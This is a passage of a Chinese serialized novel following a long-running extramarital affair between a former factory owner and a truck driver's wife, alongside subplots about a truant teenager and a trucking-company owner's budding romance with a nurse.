《渴慕美好》
第1章 渴慕美好
闫安把车停在麻将馆门口,妻子说了声:“你回去休息”。急忙下了车,连颠带跑地进了麻将馆。
闫安看着妻子进了麻将馆,他笑了笑,看了一下时间,14点28分。他把车开到麻将馆附近的停车场停了下来。
他在车上坐了一会儿,拿起手机给晓雅发了一条暗语。
等了三分钟后晓雅马上回复了同样的暗语。
说是暗语,其实就是两个人这么多年来,利用公告通知类的信息相互了解对方是否方便。
看到晓雅的回复,闫安知道她一个人,便发了消息:“到药店没?”
“马上到,你回来了?”
“那我现在过去接你?”
“不用,我坐十五路。你需多长时间?”
“十几分钟,我没带身份证,你带么?”
“嗯。”
“你买完药去开房,我随后到。”
“好。”
(一)
何晓雅和丈夫经营着一辆半挂车,两人以车为家,一年四季都奔波在运送货物的路上,虽然在市里买了房,但他俩嬉称车才是流动的家,自己的房子却是旅馆,很少居住。
昨天晓雅和丈夫卸完车回到家中,计划着今天丈夫去修车,妻子晓雅趁回城机会到药店给公公买药。
晓雅在卸货的过程中已经通知闫安今天方便了见面,可闫安俩口却要去郊区参加一场婚礼,只好约定时间在今天下午三点联系见面。
酒店518的房间门虚掩着,闫安推门而入。
正在刷牙的晓雅满嘴白沫出了卫生间,顺便把房间门后的安全拴挂上。
闫安从身后一把抱住晓雅:“想死我了,都两年时间没见你了,皮肤白多了,还是老样子。”
晓雅用手拍了拍闫安的屁股:“不着急,抓紧时间,我还要寄药去,赶紧洗去。”
闫安松开晓雅,在房间里转了一圈,上盯下看:“应该没有摄像头。”
“你还以为你是什么大人物,有人专门跟拍你?你是网红?”
闫安笑着边脱衣服边说:“我倒希望是网红,那样挣钱就容易了。”
“整天挣钱挣钱,只要人过好自己就行了,我也想开了,自己抠抠搜搜的把自己为难的,为啥不把自己放舒适,做自己想做的事?”晓雅说完,顺便通知小度关上窗帘。
闫安走向晓雅,似乎不认识:“没想到过了个年你又进步了,悟出人生的道理了?”
晓雅娇嗔地在闫安额头上亲了一下:“都是跟你学的。”
无主灯的房间,只留下一盏阅读灯,LED的灯光照得床单发紫,蓝色的地毯、紫白的灯光、闫安和晓雅在这习以为常的环境中再次重温激情和温馨。
折腾结束后,俩人相拥而眠。
晓雅的手机铃声响了,她掀开被子,推开紧抱着她的闫安,瞬间坐起,拿起手机看了一下,不接也不挂,直接穿起衣服拿起又一次铃声响起的手机出了房间,直奔电梯。
走过大堂来到酒店门外的路旁,她回拨了过去。
对方是晓雅的老公,他曾经告诉晓雅微信视频通话是最省钱的方式。
晓雅看到坐在驾驶室内的老公问:“咋了?”她本想说人多没听见,又觉得过多的话会引起怀疑。
:“我是说你寄完药顺便到市场再捎点茶叶,茶叶不多了。”老公说着:“我现在在等配件,等到了一装就可以出车
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了。”
晓雅心想,那我和闫安就能安心地多待一会儿。故意数落老公:“你光知道给我安排活,现在才到药店门口,药还没买,你又安排我再跑到市场去,还要坐两站路,买菜买茶叶,回去都几点了?”
老公笑着说:“你顺便的事,反正装配件还早着呢,你迟早回来都行。”
晓雅说了声:“知道了,挂了。”
挂完电话,晓雅长出一口气。至少俩人的通话让她悬着的心终于放了下来,给她和闫安创造了多待一起的机会时间。
晓雅边往酒店走边想,自己还真是个时间管理达人,哪一次和闫安约会都不是在打时间差的机会?如同今天一样,昨天从广西回来卸货的时候,身在老家的公公给儿子打电话说是所吃的药到六号就完了,昨天是二号,三号一买顺便一寄,刚好能接上。
晓雅卸完车往回走的路上也正在犹豫以什么理由和闫安见面,没想到公公的买药要求给她提供了借口。再加之车辆的挂车需要焊接,空调工作不正常,光修车丈夫就得忙活一整天。
老公把买药的事就交待给了晓雅,晓雅第一时间就通知给闫安三号见面。
原本计划三号早上十点就约见,可闫安和妻子要参加一位同学儿子的婚礼,她们就定在三号下午三点见面。
回到518房间,闫安正躺在床上抽烟。见晓雅回来了就问:“安排好了?”
晓雅脱去衣服光溜溜钻进被窝,一把抱住闫安:“他让我买茶叶,这下就能多陪你一会儿。”
闫安兴奋得抱紧晓雅压在身下:“看起来我的耐心等待终于得到回报了。”
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第2章 姐弟起争执
张国英参加完培训会后回到家,并没有对张国栋进行质问。
她要用事实说话。
张国栋又一次来到百花录像厅门口,他在外面转了转,并没有进去。他又转到离录像厅不远的云腾网吧门口,手在口袋里摸来摸去,仅仅只有2毛钱了,什么都干不成。
他想钻进那乌烟瘴气的黑暗里,目不转睛地盯着屏幕上那些国外穿很少衣服的金发女人。
张国栋感叹着:在农村上学的话,我能看到录像吗?我能上网吗?我能看到外国美女吗?我能知道自己喜欢的歌曲能被录下来反复听吗?农村课堂是那么的严格,而城里却是非常的宽松,可以和老师顶嘴,可以给女生写信,可以用脚踢女生的屁股,也可以钻进老师的办公室偷改自己的考试分数。
反正张国栋觉得到了县城上学完全让他见识到了农村想都想不到的事情。想到这些他有些沮丧。自己把姐给的零花钱用来看录像,打游戏,现在没钱了,进不了录像厅了。
看起来有钱真好,可以干自己喜欢的事,就像姐夫一样,给姐钱时总是大把大把的,连数都不数。
姐让自己上学,完全是在耽误自己挣钱!
叛逆期的孩子,往往都是在冲动和任性中认同自己的观点,以至于剑走偏锋。
张国栋东游西逛的在录像厅门口溜达了一阵,连他自己都不知道他不看录像该干什么。但他却把时间掌控得很精准,如果九点半以前回不到宿舍就只能翻墙进校了。
他估摸着时间差不多了,就准备骑上姐姐为他买的自行车往学校赶。
当他刚要推车走的时候,觉得车子推不动,正要扭头看车锁是否完全打开,却发现有一个人拉着他的车后架。
昏暗的夜色,看不清拉着他自行车的人。
“你不上学,这会儿干啥去?”
是姐姐的声音。
张国栋心里一惊!
姐姐咋能知道自己在这里?
他楞在那里,不知如何应对。
“你连着三天晚上打啥针?得啥病了?在这里哪儿打针?”姐姐取下口罩:“你身体不舒服咋不给我说?在哪家医院或诊所看的?把诊断病历在哪儿让我看看?”
张国栋低着头,知道自己给老师撒的谎被姐姐识破了。小声说:“那都是骗老师的。”
张国英没吭声,大口喘着气盯着弟弟。
张国栋见姐姐没吭声,就抬头望着姐姐。借着昏暗的街灯,当他看到姐姐的眼睛时,是那么愤怒地盯着自己,以至于他今晚觉得平时柔性绵弱的姐姐是如此的可怕,令他今生不忘。
“先回吧,我已给你下午把假请了。”姐姐开口了:“把车子推着,咱俩走着回,顺便说说话。”
弟弟推着自行车和姐姐并肩走在回家的路上。
昏暗的街灯照着俩人低矮的影子,忽前忽后。
“你给姐今晚说实话,是不是你觉得我把你转到县城上学是错错误的决定?”张国英开口问。
弟弟半晌才说:“我知道你为我好,可我到县城好像觉得啥都稀罕没见过,农村没有的这里全有,真是比农村好多了。”
“就是因为比农村好就不好好念书逃课了?”
“也不是逃课,就是觉得吸引我的地方太多了,总觉得没时间去。”弟弟小声说:“既是上课,思想也
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集中不起来,光想着往校外跑……”
“跑到校外就是为到百花录像厅看录像?到网吧打游戏?你都没看看那里面都是些什么人?”姐姐责怪道:“咱家就你一个男娃,全指望你出人头地,你却整天沉迷在录像厅和网吧,这样会毁了你一生的。人如果不追求正确的方向被不良习气所污染,终究会走向岐路的,至少你得要有个人生奋斗的方向!要……”
“我有人生奋斗方向!”弟弟打断姐姐的话,提起精神大声说:“我的奋斗方向就是———挣钱!”
张国英惊讶的望着弟弟,似乎不认识:“挣钱?你缺钱吗?你要钱干什么?”
“对!正因为我缺钱才要想办法挣钱,只有挣了钱想干什么就干什么?有了钱我可以自己买电脑上网,买录像机放录像,买录音机听流行歌曲。”
“这就是你的追求?”姐姐生气地说:“这就是你的格局?真是农村把你呆成井底之蛙了,你不知万般皆下品,惟有读书高,你不知书中自有颜如玉,书中自有黄金屋?你不知念书会扩大眼界,知识能改变命运吗?你看姐如果不上中专,能被国家安排上班吗?不上班能领工资吗?不领工资你能有上学的学费吗?你好好想想!”
“你工作还不是为挣工资吗?不是为挣钱吗?”弟弟反问。
“但我有事业,有追求啊!”姐姐生气了:“你以为钱是那么好挣的,你一没人脉二没技术三没文化,你拿屁挣钱?要挣钱也是靠最底层的蛮苦力气混口饭而已。只有读书上学才会吃一辈子轻松饭,你看看,从古到今,哪朝哪代不是有文化人在朝廷扶佐皇上?”
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第3章 身份相同,目的不同
晓雅想了想说:“你赶紧往门口走来接我,菜叶和菜把我提的胳膊疼!”
晓雅挂了电话,站在小区门口。
等了七八分钟,老公来了:“把药寄了?”
“不寄我能回来?腿都快跑断了。你啥时候可跑回来了?车修好了?”
“辛苦老婆大人了。”老公笑着提起地上的菜:“我刚到院子你就来电话了,正准备给你打过去。妈的,跟你下午通完话觉得等配件时间太长了,车上又热就骑老板的电动车回家睡觉了。正睡着,老板打电话说配件到了,正在装让我过去试车,我一着急拿了电动车钥匙出了门,到车场试车时傻眼了,没带车钥匙,又折回来取车钥匙,你知道车钥匙和房门钥匙串在一起的,回到小区才发现进不了门,所以就准备打电话问你快回来了么,结果你先打给我了。”
晓雅悬着的心终于放下了,至少老公没看到她从闫安车上下来:“你快五十的人了,咋弄个事丢三落四的,看啥时能把你丢了。”
老公笑着说:“我最害怕把你丢了,我无所谓。”
“少贫,赶紧往回走!”
晓雅和老公回到家,简单的收拾了一下一同赶往修车场。
在去往的路上,晓雅收到了闫安发药的快递单子。她核对了一下地址和电话,无误后便回复:我走了,不回。随后删了信息。
晓雅和老公试完车后,一切正常,便直接赶往煤矿装煤。
他俩都觉得现在耽误不起时间了,再不多拉快跑月供都成问题了。
要说晓雅家的这辆半挂车,是闫安在六年前给了晓雅20万元让买车另谋生路的。晓雅知道,闫安的厂里那几年根本没效益,完全在亏本经营,再加上环保风暴的因素,对前景不乐观的闫安提前把偷偷摸摸陪伴他十二年之久的晓雅进行了安置,一次性给了20万现金。
晓雅的老公原来一直给别人开大货车,总希望自己能拥有一辆自家的半挂车。苦于手头没钱,无法实现。
晓雅拿着现金,整天提心吊胆不敢去银行存,老担心被老公发现。今天藏在衣柜,明天又塞到厨柜。那段时间那些现金倒把晓雅担心得掉了几斤肉。她自嘲说那20万就像个定时炸弹,不知道什么时候爆炸。
闫安的厂子卖掉后,晓雅就成了失业人员了,虽然手里有闫安给的20万元现金,但她不敢告诉闫安。她知道,这20万元现金是她十几年来身体的付出和情感的偏轨换来的,是她小心翼翼游走在两个男人之间的风险担当得来的。
晓雅失业后,也曾干过各种工作,虽然失业了,但从没有失去和闫安的联系和幽会。
晓雅失业三个月后,老公被老板辞退了,老板的儿子已经可以单独操作了。
两个大人闲在家里,真是个急!
孩子上学要钱,房子月供要钱,每天吃饭也要钱,闫安给的钱总有用完的时候。
经过反复的思想斗争,两个人思来想去,商量着买一辆半挂车自己经营。于是打听,问价,咨询。当知道首付20万元足够时,晓雅更坚定了买车的想法。但她不能让老公知道自己手里的钱够交首付。
于是她给老公演了一出戏,让老公觉得这首付款是自己从娘家借来的就不会怀疑了。她告诉老公,两人各回各家,和家里人商量着能不能借点钱贷款买车?
说干就干,分头行动。第二天一大早,老公坐上了驶向老家的
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火车。半小时后晓雅坐上了闫安接她的奥迪车。
晓雅老公回家是寻钱,晓雅外出是寻欢。共同的想法,不同的目的。
晓雅在酒店的桌子上打开那20万元的报纸,问闫安咋样让老公不发现这些钱?
闫安惊讶的问:“你咋没存?一直在身边?”
晓雅说她担心老公发现说不清。闫安想了想有了办法。
回到家后,老公只带回2万元在卡上。晓雅告诉老公,自己在娘家借了不到20万,现在自己卡上有5万多一点,剩下的过几天凑齐打到自己的卡上。老公一阵兴奋,抱起晓雅两个人大白天愉悦了对方,精神倍爽。
第二天,闫安拿着晓雅剩下的钱在ATM机上给晓雅的卡上存了8万元现金;第三天又同样的方式存了6万6千元现金。
钱到位后,晓雅两口急忙去车市场,通过汽车信贷公司购买了自己发家致富的工具:大货挂车。
于是乎,放炮,吃饭,好不热闹。
第一单活就是拉往广西的煤炭。
看着装载机把黑色的煤炭装入车厢,晓雅的心里一阵疼惜,崭新的车厢却被这煤块污染。直唠叨,老公笑着说:“车脏不要紧,只要有钱挣。”
晓雅一想,也是啊,再新的车终归会旧,会出现各种毛病,但那都是挣钱的路上的付出。想到这,晓雅仿佛看到了美好的生活,房贷还完了,车贷还清了,儿子上班了,手里有钱了……一切的美好就会扑面而来。
晓雅在憧憬中,笑了。
就这样,老公开车,晓雅跟着做饭保后勤跑了两年多时间。
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第3章 多情惹心乱、好事捷报传
车队队长小刘说话的同时看到打扮入时的沈莎莎,愣了一下,并多了几眼。
看着人都出去后,小刘笑着对吴之玄说:“咋了,哥,有嫂子了?”
吴之玄翻了小刘一眼:“胡说啥哩,那女子路过顺便到这转转。说正事。”
小刘告诉刘之玄,修理厂租地的一事谈妥了,而且价位非常低。同时888果行的老板要包公司两辆车专门往广州运苹果,运价不低。
听到这消息,吴之玄拍了拍小刘的肩膀:“哥没看错你,能力不错,你一出马,好事成双。”
小刘不好意思地笑了笑:“我哥能把我这个没爹没妈的娃看得起,我尽最大努力把哥的事当自己的事。”
小刘也是从穷山沟里出来的孩子,9岁那年父亲跌落枯井而亡,母亲带着姐姐改嫁他乡。17岁那年奶奶去世,村里人凑钱安葬了老人。
为了生存小刘跑到城里人市干活。吴之玄也是在找人卸车时把这个瘦弱的第一个跑到自己跟前的少年叫走的,以后有事都叫小刘。
小刘也是个机灵娃,他和刘之玄混熟后,跟着学车,拿照,独挡一面,勤快认真,无怨无悔。
吴之玄成立运输公司后,小刘一步步从司机就变成了管理人员。
“哥,你是不是也该考虑一下你的续弦之事?”小刘突然问吴之玄。
“续弦之事?啥意思?”吴之玄不解。
“就是找个嫂子。今天有酒窝的这个女的贼漂亮。”
“你从哪听的这文皱皱的话?”
“在村里我四婆下世早,我四爷是个先生,经常说他要续弦续弦的,后来娶了媳妇后就再也不提续弦的字腿了,嘿嘿。”
“你这碎娃还懂得不少。再说吧。”
“我看今天这个女的就配你合适,好看还洋气。”
“忙你正事去!”
“真的,哥,你考虑考虑。”小刘边往外走,边对吴之玄说。
吴之玄想想也是,妻子离开自己都快两年了,家里以前住着人还有人气,现在冰锅冷灶的让人不想回家,触物生情,每次回去都有一种妻子在家逗孩子的景象在脑海萦绕,挥之不去。
自己干的这个行业几乎没有女性,最重要的是母亲一直也给自己张落找人的事,快三十的人了还让父母为自己操心,可能也算是一种不孝吧?该有个人照顾家了。至于这个女子,吴之玄总觉得和自己比性格还是略张扬一点。
这时沈莎莎看到办公室只有吴之玄一人就又推门进来了。
“吴哥,方便吧?”
“方便,方便。”
“噢,是这样,”说着,沈莎莎从手包里拿出一沓十元的人民币放在桌上:“这些钱,你哪个车去广州了给我捎买个vcD碟机,听说那里便宜。你看行不?”
吴之玄笑了笑说顺手的事,钱先不要,等捎回来了凭发票给钱。
但沈莎莎执意把钱要留下。没办法吴之玄收了钱并给沈莎莎写了个收据。沈莎莎说吴哥办啥事都心细。
县人劳局通过公开考试给奶粉厂招了一批新员工,20岁闫安从一个临时工通过考试成为一名奶粉厂的正式职工。
这个信息是表哥吴之玄给闫安提供的。为了感谢表哥的操心,这个礼拜天,闫安买了一条烟一瓶酒骑着自行车来到了表哥的办公室。
闫安刚进办公室,看到桌上放着两台VCD的包装盒,甚是惊讶。
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“哥,这可是潮流啊,我们年轻人的最爱啊,看你这挺多的,要不给我一台。”
“只要你上班挣钱了,五台都行。”吴之玄看着闫安:“先不说这时代的潮流,我问你参加考试过了吗?”
“今天就是为这事来的?”
吴之玄一惊:“没通过?”
“哥,你咋知道的?”闫安神秘的从他背的挎包里取出烟和酒:“你看,我想让你给我疏通一下关系,看能不能把我招进去,这是你办事的必须品。”说着顺便把烟和酒放在了茶几上。
“你咋还知道搞这歪门邪道?你考都考不过,咋给人家说?明显给人出难题哩。”吴之玄失望地责怪闫安。
“我哥就是我哥,把我的事还真当事。算了,你为难了就不办了,我也不干临时工了,让我在你这上班行不?”闫安故意问。
吴之玄严肃起来了:“安儿,听哥一句话,千万不要来我这里,一定要想办法把国家的饭碗端在自己手上才不会受饿。记着哥的话,哥弄这也是没办法的办法。奶粉厂没考过,你就等于错失了端国家饭碗的机会,可惜呀!”
“那县上你让我报的奶粉厂算不算端国家的饭碗?”
“那是国营厂子,国营,国营,你知道不?可惜了,真可惜。”
闫安停了一会儿,说:“哥,这是国家的饭碗,如果我告诉你我被招收了,是不是就不愁吃穿了?”
“那肯定的啊!总比我这自己给自己刨着吃,寻着吃强多了。”
“哥,我刚骗你哩,奶粉厂把我招了,我现在是奶粉厂的工人了,正式工。”闫安笑着说。
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第3章 往事又浮现,志愿定前程
晓雅在闫安的强烈要求下,拨通了儿子的手机。
“妈,咋了?”
“你在哪儿?”
“跟同学到塬上耍呢。”
“不要乱跑,晚上几点回来?吃啥呀?”
“不胡跑,四点左右就回家,回来了填志愿。”
“噢,是这,妈在广场给你咨询填志愿的点了,人家老师要你的单科分数,你把查的分数截图发给妈。”
“那得等一下,我得登录查询后截图给你。”
“你快点,老师在这等着哩。”
“好。”
晓雅没想到儿子如此干脆,她刚才不想打电话的原因无非就是担心儿子不给她发,她知道,儿子不愿意让别人知道他真正的分数。
“今天不去酒店了,把娃的事想办法解决了。”闫安说:“让我问问这谁看李老师在不?”
“哪个李老师?”
“就是给我娃报志愿的辅导老师。哎,我想起来了,我手机里有他的号码。”
闫安把车停在路旁拨通了李老师的电话。
无人接听。
再拨,还是无人接听。
闫安失望地把手机往副驾一扔:“高烟名酒还没为下朋友。”
“这是哪的李老师?”
“五中的,在填报志愿方面很有名,许多政府官员和老板都排队找他哩,一是不亏分数,二是填报的学校毕业好就业。口碑贼好,估计这会儿又在哪个酒店做辅导哩。”
“老师不待在学校住酒店干啥?”晓雅满脸疑惑。
“人家已退休了,把这当个营生,寻上门的三百,熟人介绍的随便,但至少得一百。”
“填志愿还交钱?”
“你想想,谁不为娃愿意花钱?”
“来了。”晓雅收到了儿子发来的截图递给闫安。
闫安接过手机还没看,副驾上手机响了。
闫安一看,是李老师来电,冲晓雅嘘了一下接通了电话:“李老师好。”
“闫总好,闫总好,刚在静音上没听见,不好意思。”
“我想你可能忙。”
“不忙,你说啥事?”
“侄子报志愿想请你辅导一下,方便了吃个饭。”
“饭不吃了,你知道这几天特别忙,是这,你把娃分数发给我。现在我前面还有几个咨询的。让我看看,咱就安排到下午三点你带娃到京一酒店的606来。”
“下午3点,606,好好好,我准时到。”
闫安看了看表,11点27,对晓雅说:“你让娃回来,下午咱们一块去。”
晓雅犯难了:“一块去,你不害怕娃了?”
闫安一愣,也是啊,三个人一起去咋解释?别人无所谓的,主要是给娃咋说?现在的孩子都聪明得跟啥一样。
闫安给李老师发完信息,想了想,有办法了。
闫安和晓雅把车开到城外,到一家宾馆里准备共度春宵。
他发现晓雅今天兴致不高,心事重重。他知道晓雅还在为儿子的事发熬煎。
两人洗完后,没有像往常一样猴急猴急办事。晓雅枕在他的胳膊上,眼睛直愣愣盯着房顶,长长的眼睫毛一闪一闪的,若有所思。
闫安就喜欢看她那扑闪扑闪的大眼睛,一眨一眨,那长长的眼睫毛不知是怎么长的,勾人眼,撩人魂,让人痴迷,叫人留恋。
就是晓雅这双长长的眼睫毛使闫安见到她时就
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被吸深深地引住了。
那还是06年春天,厂里新招了一批新员工。
闫安到车间去转,刚进车间,东北角工作台上的一名新员工抬头看了一眼闫安,和闫安四目相对,闫安突然觉得这双明亮的大眼睛和曾经初恋的情人的眼睛如出一辙,他心里一阵乱跳。当他有意识再去看时竟发现那个女的又抬起头来看他,四目相遇,瞬间定格,却又瞬间移去。短短的几秒钟,仿佛从相互的眼神中读懂对方,理解彼此。
闫安牢牢的记住了那双会说话的眼睛,特别是她戴的那长长的眼睫毛忽闪忽闪的,让人心跳。
闫安担心自己失态,匆匆忙忙走向其它工位以平复一下心情。
新员工上班还戴假眼睫毛?真不应该啊,我的厂又不是演出单位,为什么还要把自己装扮得引人注目呢?整天和纸张及塑料打交道,化妆没必要。不过随着社会的发展,人们生活质量的提高,爱美之心人皆有之,更何况女人呢?不是在哪儿看到一篇文章还专门说法国女人出门都要化妆抹口红吗,说那是对别人的一种尊重。嘿嘿,超级国家的人讲究就是多。
闫安边走边想,他也不知道自己为什么走进了综合办公室。
看到老板进来了,几个高声闲聊的人马上奔向自己的工位。
闫安四周看了一下说丁主任一会到我办公室来一下。
“新招的员工给安排宿舍了没?”闫安问刚进办公室的丁主任。
“这次招的都是原来在其它厂干过的熟手,基本上都是村子周围租房带娃的年轻婆娘,没有人住员工宿舍。”
“那行,只要你安排好就行。”
“安排好着哩。放心。”
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第3章 病房促膝坐、爱意初萌露
吴之玄咋都没想到,自从那次沈莎莎从他办公室走后,自己心中涌起莫名的渴望和忧伤,他想接近沈莎莎,却又顾及世俗传统与旁人的看法,远离沈莎莎却又有点不甘心,他也曾几次路过医院时想以取收据为借口和她见面,但还是没有去,连自己都不知道为什么?
而孩子的受伤使他再一次和沈莎莎有了交集。
那天,沈莎莎刚给病人换完吊瓶出了病房,看见吴之玄急匆匆地朝自己走来。
“吴哥,你咋来了?”
吴之玄擦着额头的汗水:“我找了你半天,专门来找你,今天有事求你帮帮忙。”
“啥帮忙不帮忙的,只要能办到,尽力!”
“你肯定能办到。我娃在门口玩耍不小心把玻璃渣轧进指甲缝里了,你看上哪个科室给娃赶紧看看。”
沈莎莎一听,赶紧放下手中的活计给小姐妹交待一番拉起吴之玄:“咱赶紧去急诊科!先不挂号!”
下了楼,沈莎莎在急诊科的医生办公室和正在接诊医生说了些什么,医生点了点头,打发完病人后就匆匆进了换药室。
沈莎莎这时才看见受伤的孩子,奶奶抱着孩子在抹眼泪,同时在安慰着。爷爷正不停地小心翼翼给擦拭着从指头上流出的血。孩子的手不停的发抖,哇哇大哭,一直喊疼,吴之玄急得直跺脚。
和沈莎莎说话的那位医生朝沈莎莎招着手:“让家属把娃抱进来。”
吴之玄从母亲怀里抱过哭泣的孩子,孩子的哭声更大了,我要奶奶!我要奶奶!
看到这情景,听到孩子的呼喊,沈莎莎只觉得心里一阵难受,忍不住掉下眼泪来。吴之玄按医生的要求把孩子抱着,医生检查了一下伤口说:“没事,来,小伙子,不要哭了,给叔叔说说是怎么受伤的?”
听了医生的话,孩子边哭边叙说了过程。
医生听完又把伤口处按了按,孩子疼得大声啼哭。
“没事,玻璃渣没在指甲缝里,做个小麻醉从肉里取出就行了。”
于是,检查、消炎、备药、局麻等一系列处置后,一个多小时后手术完成。
医生说让观察一会儿如果没有异常就可以回家了。
沈莎莎却坚持让医生给孩子登记个病床,说留院观察一晚,以防万一。
病房是个单间,孩子躺在病床上,可能是哭乏了,睡得真香。
看着孩子安静的睡着,吴之玄和沈莎莎四目相对,会意的笑了笑。
沈莎莎把孩子安顿好后回到自己的岗位,但脑海里老有孩子哭闹的情景,让她想到就感到一阵阵难过。
她想到了自己的儿子如果有这种情况的话会不会和他儿子一样?她忽然想,自己为什么为一个和自己没有血缘关系的孩子流泪?仅仅是因为他还是个孩子?那自己又为自己的孩子流过多少泪?无非就是自己带孩子时的烦躁和无奈。根本没有任何思想准备,不懂得爱情,不懂得知识、不懂得婚姻,更不会带孩子,才使自己在无知中前行,在经历中成长。
下班后,沈莎莎特意在宿舍取了碗和饭盒在食堂打了3份饭,来到吴之玄儿子的病房。
隔着门上的玻璃,他看见吴之玄正站在吊瓶前和儿子聊天。
听着父子俩的对话,沈莎莎开心的笑了笑,她在想,这种情景惟唯一的缺憾是少一个主要家庭成员,那就是妈妈。女性的存在才算一个完整的家。
她没有敲门,直接用胳膊肘轻轻推开门,进去后,直接把手里的饭往床头柜上一放:“啥都好着吗?”吴之玄点了点头:“又麻烦你了,好着呢。”
看着沈莎莎,儿子眨巴眨巴眼小声说:姐姐
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好。
“叫我什么?姐姐好?好,好,真乖。来,姐姐亲一个。”高兴的沈莎莎说着俯下身子亲了一下躺在病床上的小家伙。
“姐姐真香,真好闻。”
“真会说话,好闻了让阿姨再亲一个。”沈莎莎让这会说话的孩子叫得兴奋得糊涂了。
吴之玄看着饭盒:“买这么多,给谁的?”
沈莎莎瞪了他一眼:“都带到这儿了,你说给谁的?明知故问。”
吴之玄傻笑了一下:“辛苦你了,多钱?”
“吴大哥真是大款,啥事都钱钱钱的。来,5000,掏钱。”沈莎莎笑着伸出右手摊开。
吴之玄笑了一下:“比北京烤鸭贵多了。”
“北京烤鸭是去了服务,我这是上门服务。”
沈莎莎把装有稀饭的盖子取掉,给碗里倒出来一点吹了吹放在旁边:“来,小伙子,姐姐给你喂稀饭。来,我扶你坐起来。”说着便把孩子扶了起来。
“他自己能吃,不……”吴之玄说了半句话不吭声了。
沈莎莎用勺子指了吴之玄一下:“你忘了他的右手有伤?”
吴之玄说:“还是我来吧。”
“那你就要问小伙子,让谁给他喂?”
“姐姐香,我要姐姐。”
“这孩子真不认生。”吴之玄尴尬的不知所措。
沈莎莎边喂饭边说:“大夫说了,就是一点皮肉伤,没多大影响,注意这几天不要让伤口见水,不要感染就没事,小孩的伤口愈合快。放心,我找的大夫
处理这小伤百分之百。你现在看他象有病的样子吗?就是刚开始老流血把人吓的不知情况。噢,吴哥你也快吃,不然饭凉了。”
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第3章 相谈甚欢只为缘、不知疲倦总因情
沈莎莎并没有意识到吴子玄的不安,对于这个问题她还是撒了谎:“我不是说我是妥妥的单身吗?”
其实她说这句话时心里还是有点发虚,她看着吴子玄的反应。
吴子玄没吭声,长长出了一口气:“我不该问你这个问题。”
“没事,我不介意。”
两人沉默了好久。
吴子玄觉得自己就是聊天的话题终结者。不知说什么好。
沈莎莎看到孩子把被子蹬了下去,就帮忙给盖好,轻轻的拍打着孩子。
过了会儿她看了看表说:“都快一点了,和你说话比上班时间过得快多了。”
“可能是咱俩充分利用时间吧?”
“吴哥,我想问你个事,方便不?”
“咱俩交往这么长时间了,有啥方便不方便的,只要我知道的你随便问。”吴之玄毫无戒备。
沈莎莎犹豫了一下,想开口,又停了一下。
“有啥不好说的,问,没事。”
沈莎莎又停了停,看了看孩子,又看了看吴之玄,吞吞吐吐的小声说:“你给娃是不是该找个后妈了?”
吴子玄一惊,没想到她竟然问这么敏感的问题,不知咋回答。
吴子玄在房间里来回走了两圈掏出烟:“我可以在病房抽个烟不?”
“规定不允许,不过你抽没人检查,反正娃又不挂针,没人来。”
吴子玄燃起烟,他没有直接答复,却讲起了自己的身世。
其实要说这办公司,连我都想不到,自己会办公司,还是自己的公司。这要放在以前,连想都不敢想,但现在国家有政策,鼓励你开公司,下面的那几个哥儿们一扇火,就办起来了。
我排行家里的老大,下面两个弟,两个妹。我爸好歹还是个国家职工,每个月有工资,但养活我们这个大家庭也是杯水车薪。我妈是普通农妇,从我记事到现在,一直觉得我妈是这世界上最勤快、最辛苦、最不知道疲倦的人。迟早没见过她在床上躺过。在我的印象中妈妈好像根本就没有休息这两个字的概念。
早上她要去生产队劳动挣工分,当我们起床时,她把饭都给做好了放在锅里,中午放学后,妈妈就让我给她帮忙烧火、提水、捡柴。吃完饭妈妈顾不上收拾就又要去队里劳动,洗锅、喂猪、喂兔,全是我和大妹干。
我记得最清楚的一次是,生产队里的牛死了,队里计划把牛肉一煮,分给每家每户。那时候一年能吃一顿肉就算是最顶级奢侈的伙食了,谁家都把这肉当金元宝一样珍惜,一天只吃那么一丁点,用现在的话说就是每个人尝一点,然后舍不得吃由大人藏起来。
那天是个礼拜六,妈妈上工时告诉我,队上通知分牛肉时一定要早些去,顺便带上碗,千万不要去迟了分完了,全家就吃不上肉了。
我们几个孩子下午去地里割草时就每人带了个碗,就在队里煮肉的饲料室周边佯装割草,其实就是想闻煮肉的香味,老流着口水,咽着唾沫。草没割多少,老去那口大锅附近转悠,总被看现场的二爷骂得不敢靠近。
怎么还不分?把我们急得直转圈圈。
捞肉了,现场又多了所谓的安保人员,就是那些无儿无女、或者手脚有问题不能下地劳动的老年人。
队长、会计都来了。带的杆秤。会计称秤,记分员往秤盘上取放切下的肉,不够了,切一小片
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放上去,称好的队长用麻纸包起来放在一旁。
我看到队长包肉的过程中,不停地从正包的肉里掐一点塞进到自己的嘴里,津津有味。
我看得直咽唾沫,口水直滴,就想过去抢一块大口大口吃。但现场把控严密,非工作人员根本到不了跟前。
村民们陆陆续续来领肉了,有拿盘子的,有拿碗的,有拿碟子的,反正各种餐具都用上了。最离谱的是我看见还有人直接把肉装进自己的口袋里,用手捂着口袋往回走。
那时候我们也小,不知道是按家庭户分,以为每个人都有份,就带着妹妹和弟弟全部站在那里,每个人拿着碗排队。
队长看见笑了:“之玄,你这哥的头带的好,好家伙兄妹几个全上场了。你一人排队,其他人走开!”
二弟大喊:“我们来领肉!”惹得在场人哈哈大笑。
我让大妹带他们回去,小弟站在我跟前一块等着领牛肉。
我们终于领到牛肉了,量不多大概半斤多一点。在回家的路上,我和小弟图好玩,就顺着崖畔的小路走。小弟不停的要着吃,我就不停地撕一小块给着。
在走到崖畔时,他竟要自己拿着吃,我担心他吃完,大家没有。就把放肉的碗架子崖畔的树枝上说:“你看这里路不好,你拿着哥怕掉到崖下去,咱都没肉吃了,是这,你赶紧跑到村口十字等哥,那里路好你再拿着就掉不了了,哥在这儿先撒个尿。”
小弟信了我的话匆忙向十字路口跑去。
我正撒尿,一阵风吹来竟把放在树枝上的碗吹下了崖底。
没肉了。
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第3章 话不投机半句多、人生难得一知己
沈莎莎被吴子玄的经历所吸引,她想知道吴子玄的伤到底是怎么来的?她继续听着吴子玄的讲述。
我本以为掉碗丢肉的事件就那么过去了,忐忑的心总算放了下来。
晚上我迷迷糊糊地听到似乎小弟的哭声,朦朦胧胧中那哭声却没有了。
第二天星期天,我们几个都在睡懒觉,我觉得被子好像被人掀起:“子玄,起来!”
是我爸大吼的声音!
我一下清醒了过来,弟弟妹妹也被我爸的吼声吵了起来,都急急忙忙地胡乱穿着衣服看着他。
我边穿边想:星期天想睡个懒觉都这么难!
我刚下炕,我爸就在我的屁股上狠狠踢了一脚,毫无防备的我打了个趔趄,差点碰在门框上。
